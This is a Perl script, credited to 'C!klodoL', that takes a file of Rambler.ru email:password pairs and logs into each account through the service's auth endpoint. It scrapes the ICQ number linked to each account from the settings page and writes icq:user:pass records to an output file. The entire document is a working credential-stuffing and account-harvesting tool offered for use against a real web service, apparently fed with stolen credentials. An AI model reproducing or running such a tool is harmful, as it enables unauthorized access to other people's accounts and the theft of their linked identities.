#!/usr/bin/perl -w

use strict;
use LWP::UserAgent;
use HTTP::Cookies;

print "\nRambler.ru ICQ parser $0 Coded by C!klodoL\n";

my $mails = 'rambler.txt'; #мыла
my $icqs  = 'icq.txt';  #осику

open(my $inFile, "<$mails");
my @mail = <$inFile>;
close $inFile;
chomp @mail;

open(my $outFile, ">>$icqs");

my $ua = LWP::UserAgent->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);

while (@mail) {
	my ($user, $pass) = split(/:/, shift(@mail));
	$user =~ s/@.+//;
	my $req = $ua->post("http://mail.rambler.ru/script/auth.cgi?login=$user&passw=$pass")->as_string;
	my ($location) = $req =~ /Location: (.+)/;
	if ($location) {
		$req = $ua->get($location);
		$req = $ua->get('http://id.rambler.ru/script/settings.cgi')->as_string;
		my ($icq) = $req =~ /ICQ">(\d+)/;
		if ($icq) {
			print "$icq:$user:$pass\n";
			print $outFile "$icq:$user:$pass\n";
			} else {
				print "NoICQ:$user:$pass\n";
				print $outFile "NoICQ:$user:$pass\n";
				}
		}
$cookies->clear;
}